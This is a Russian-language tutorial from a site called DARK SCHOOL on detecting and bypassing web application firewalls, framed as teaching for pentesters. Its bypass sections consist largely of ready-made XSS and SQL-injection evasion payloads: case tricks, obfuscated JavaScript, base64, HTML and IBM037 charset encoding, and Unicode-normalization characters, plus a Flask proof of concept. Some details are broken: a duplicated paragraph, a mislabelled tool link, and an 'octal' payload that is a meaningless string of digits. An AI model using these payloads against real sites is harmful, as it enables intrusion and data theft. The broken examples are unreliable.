Полное руководство по обходу WAF
DARK SCHOOL
Вступление
Эта статья объяснит инструменты и методы, используемые пентестерами и исследователями безопасности веб-приложений, для успешного обхода защиты фаервола веб-приложений (WAF).
WAF - это решение для фильтрации и блокировки вредоносного трафика на веб-сайтах. Вот пример распространенных компаний, которые представляют подобный сервис: CloudFlare, AWS, Citrix, Akamai, Radware, Microsoft Azure и Barracuda.
В зависимости от комбинации защитных механизмов, используемых брандмауэром, методы их обхода могут отличаться. Например, WAF-ы могут использовать регулярные выражения для обнаружения нежелательного трафика. Регулярные выражения используются для поиска шаблонов в строке символов. Вы можете узнать больше о них здесь (https://docs.python.org/3/library/re.html). Также они могут применять обнаружение на основе сигнатур, где известным вредоносным строкам присваивается сигнатура, которая хранится в специализированой базе данных, и брандмауэр проверяет сигнатуру веб-трафика на соответствие содержимому из этих баз. Если есть совпадение, трафик блокируется. Кроме того, некоторые фаерволы для дополнительной безопасности используют эвристическое обнаружение.
Определяем тип WAF
Вручную:
Как я уже упомянул ранее, WAF-ы часто блокируют явно вредоносный трафик. Чтобы заставить брандмауэр сработать и проверить его работоспособность, можно отправить HTTP-запрос на веб-приложение с вредоносным запросом в URL, например, https://exploit.in/?p4yl04d3=<script>alert(document.cookie)</script>. HTTP Response может отличаться от ожидаемого для посещаемой страницы. WAF может вернуть свою собственную веб-страницу, подобную приведенной ниже, либо же другой код состояния сервера, обычно в диапазоне 400.

Через веб-прокси, cURL или вкладку «Network» в DevTools вашего браузера можно обнаружить дополнительные признаки фаервола:
- Имя WAF в заголовке Server, например: (Server: cloudflare)
- Дополнительные заголовки ответов HTTP, связанные с WAF, например: (CF-RAY: xxxxxxxxxxx)
- Файлы cookie, которым по всей видимости устанавливаются значения от WAF, например: Responce Header (Set-Cookie: __cfduid=xxxxx)
- Уникальный код ответа при отправке вредоносных запросов, например: (412)
Помимо создания вредоносных запросов и оценки ответа, брандмауэры также могут быть успешно обнаружены, отправив TCP-пакет FIN/RST на сервер или реализовав Side-Channel атаку. Например, синхронизация брандмауэра с различными полезными нагрузками может дать подсказки относительно используемого WAF.
Автоматически
Существует 3 автоматизированных метода обнаружения и идентификации WAF, описаных в этой статье.
- Сканним через Nmap
Nmap Scripting Engine (NSE) включает сценарии для обнаружения брандмауэров и снятия фингерпринтов. Эти скрипты можно увидеть в использовании ниже.
$ nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 21:43 PDT Nmap scan report for example.com (xxx.xxx.xxx.xxx) Host is up (0.20s latency). PORT STATE SERVICE 443/tcp open https | http-waf-detect: IDS/IPS/WAF detected: |_example.com:443/?p4yl04d3=<script>alert(document.cookie)</script> Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
2. WafW00F (https://github.com/Ekultek/WhatWaf)
Wafw00f — это скрипт работающий из терминала, который отправляет часто помечаемые полезные нагрузки на заданное доменное имя и оценивает реакцию веб-сервера на обнаружение и идентификацию WAF, при успешном использовании.
$ wafw00f example.com

3. WhatWaf (https://github.com/Ekultek/WhatWaf)
В дополнение к обнаружению брандмауэра, WhatWaf может попытаться точку для обхода, используя специальные скрипты, оценивая реакцию веб-сервера на различные полезные нагрузки.
Этот метод применяется к фильтрации регулярных выражений, выполняемой как WAF, так и веб-сервером. Во время теста на проникновение в черный ящик поиск регулярного выражения, используемого WAF, может оказаться невозможным. Если регулярное выражение доступно, в этой статье объясняется, как обойти регулярное выражение с помощью тематических исследований.
Общие обходы включают изменение регистра полезной нагрузки, использование различных кодировок, замену функций или символов, использование альтернативного синтаксиса и использование разрывов строки или табуляции. Примеры ниже демонстрируют некоторые подходы к обходу регулярных выражений с комментариями.
'
Результаты WhatWaf имеют много общего з результатами Wafw00f.
Обход WAF
В этом разделе будут описаны некоторые потенциальные методы обхода WAF с наглядными примерами.
Обход RegEx (регулярных выражений)
Этот метод применяется к фильтрации регулярных выражений, выполняемой как WAF, так и сервером. Во время black-box пентеста поиск регулярных выражений, используемых WAF, может оказаться не простым делом, или почти что невозможным. Если регулярные выражения доступны, в этой (https://www.secforce.com/blog/bypassing-wafs-web-application-filters/) статье все объясняется как их правильно обходить .
Общие методы обхода включают: изменение регистра полезной нагрузки, использование различных кодировок, замену функций или символов, использование альтернативного синтаксиса и использование разрывов строки или табуляции. Примеры ниже демонстрируют некоторые подходы к обходу регулярных выражений.
<sCrIpT>alert(XSS)</sCriPt> #изменение регистра тега
<<script>alert(XSS)</script> #добавление дополнительного "<"
<script>alert(XSS) // #удаление закрывающего тега
<script>alert`XSS`</script> #использование обратных кавычек вместо скобок
java%0ascript:alert(1) #использование закодированных символов newline
<iframe src=http://malicous.com < #двойные открытые угловые скобки
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #необычные теги
<img/src=1/onerror=alert(0)> #обойти фильтр пробелов, используя / там, где ожидается пробел
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #дополнительные символы
Обфускация
Хотя обфускация запроса является возможным способом обхода регулярных выражений, они были разделены на разные разделы, чтобы продемонстрировать более интересный и разнообразный набор методов обфускации.
Function("ale"+"rt(1)")(); #использование необычных функций, кроме предупреждений, console.log и приглашений
javascript:74163166147401571561541571411447514115414516216450615176 #восьмеричное кодирование
<iframe src="javascript:alert(`xss`)"> #кодировка Юникод
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #использование комментариев в SQL-запросе для разделения оператора
new Function`alt\`6\``; #использование обратных кавычек вместо скобок
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 кодировка javascript
%26%2397;lert(1) #использование HTML-кодирования
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Использование разрывов строк с переводом строки (LF)
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> #использовать любые символы, которые не являются буквами, цифрами или символами инкапсуляции между обработчиком события и знаком равенства (работает только на движке Gecko)
Дополнительные ресурсы включают PayloadsAllTheThings (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) и OWASP (https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html).
Кодировка
Этот метод включает изменение заголовка Content-Type для использования другой кодировки (например, ibm500). WAF, не настроенный для обнаружения вредоносных полезных нагрузках в разных кодировках, разпознает запрос как обычный и не маркирует его нежелательным. Кодировку набора символов можно выполнить в Python либо же используя онлайн ресурсы.
$ python3
-- snip --
>>> import urllib.parse
>>> s = '<script>alert("xss")</script>'
>>> urllib.parse.quote_plus(s.encode("IBM037"))
'L%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3n'
Затем закодированную строку можно отправить в теле запроса и загрузить на сервер.
POST /comment/post HTTP/1.1 Host: chatapp Content-Type: application/x-www-form-urlencoded; charset=ibm500 Content-Length: 74 %A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3
Размер запроса
В некоторых облачных WAF запрос не будет проверяться, если полезная нагрузка превышает определенный размер. В этом случае можно будет обойти фаервол, увеличив размер запроса или URL-адреса.
Совместимость по юникоду

Совместимость с Unicode — это концепция, описывающая декомпозицию визуально различных символов на один и тот же базовый абстрактный символ. Это форма эквивалентности Юникода (https://en.wikipedia.org/wiki/Unicode_equivalence).
Например, символы /(U+FF0F) и / (U+002F) разные, но в некоторых контекстах они будут иметь одинаковое значение. Общее значение позволяет символам быть совместимыми друг с другом, а это означает, что они оба могут быть переведены в стандартный символ косой черты / (U + 002F), несмотря на то, что они начинаются как разные символы. Если копнуть глубже, то окажется ли /(U+FF0F) и / (U+002F) одним и тем же символом косой черты, зависит от того, как они нормализованы или переведены сервером.
Символы обычно нормализуются с помощью одного из четырех стандартных алгоритмов нормализации Unicode:
- NFC: Normalization Form Canonical Composition
- NFD: Normalization Form Canonical Decomposition
- NFKC: Normalization Form Compatibility Composition
- NFKD: Normalization Form Compatibility Decomposition
В частности, NFKC и NFKD будут декомпозировать символы по совместимости, в отличие от NFC и NFD (подробнее здесь (https://www.unicode.org/reports/tr15/)). Подразумевается, что на веб-серверах, где пользовательский ввод сначала очищается, а затем нормализуется с помощью NFKC или NFKD, неожиданные совместимые символы могут обходить WAF и выполняться как их канонические эквиваленты на бэкэнде. Это результат того, что WAF не ожидает символов, совместимых с юникодом. Хорхе Лахара (https://jlajara.gitlab.io/Bypass_WAF_Unicode) демонстрирует это на веб-сервере PoC ниже.
from flask import Flask, abort, request
import unicodedata
from waf import waf
app = Flask(__name__)
@app.route('/')
def Welcome_name():
name = request.args.get('name')
if waf(name):
abort(403, description="XSS Обнаружена")
else:
name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, и NFKD
return 'Тест XSS: ' + name
if __name__ == '__main__':
app.run(port=81)
Там, где начальная полезная нагрузка <img src=p onerror='prompt(1)'> могла быть обнаружена брандмауэром, та же полезная нагрузка, созданная с использованием символов, совместимых с Unicode (<img src⁼p onerror⁼'prompt⁽1⁾'﹥ ) останется незамеченной.
Веб-серверы, которые нормализуют ввод после его очистки, могут быть уязвимы для обхода WAF, из-за совместимости с Unicode. Совместимые символы можно найти здесь (https://www.compart.com/en/unicode).
Неинициализированные переменные
Потенциальный метод заключается в использовании неинициализированных переменных в нашем запросе, (например, $u), как показано в этой статье (https://www.secjuice.com/web-application-firewall-waf-evasion/). Это возможно в сценариях выполнения команд, поскольку Bash обрабатывает неинициализированные переменные как пустые строки. При объединении пустых строк с полезной нагрузкой, результатом становится ее успешное выполнение.

В системе, уязвимой для внедрения команд, вставка неинициализированных переменных в полезную нагрузку может действовать как форма байпасса в обход WAF.

Заключение
Обход WAF всегда требует креативного подхода, развивая нестандартное мышление и имея достаточно практики, научится этому не составит особого труда, надеюсь эта статья затронула достаточное количество аспектов в этой теме и поможет начинающим пентестерам понять нужные азы.
Знание - Сила!

- Принципы и практическая реализация DDoS атак
- DNS - как усилители DDoS атак
- DDOS атаки, методы распространения ботов и защита Linux сервера от ddos атак.
- Настройка Nginx для отражения небольших ddos атак
- Способы защиты от флуда и DDoS атак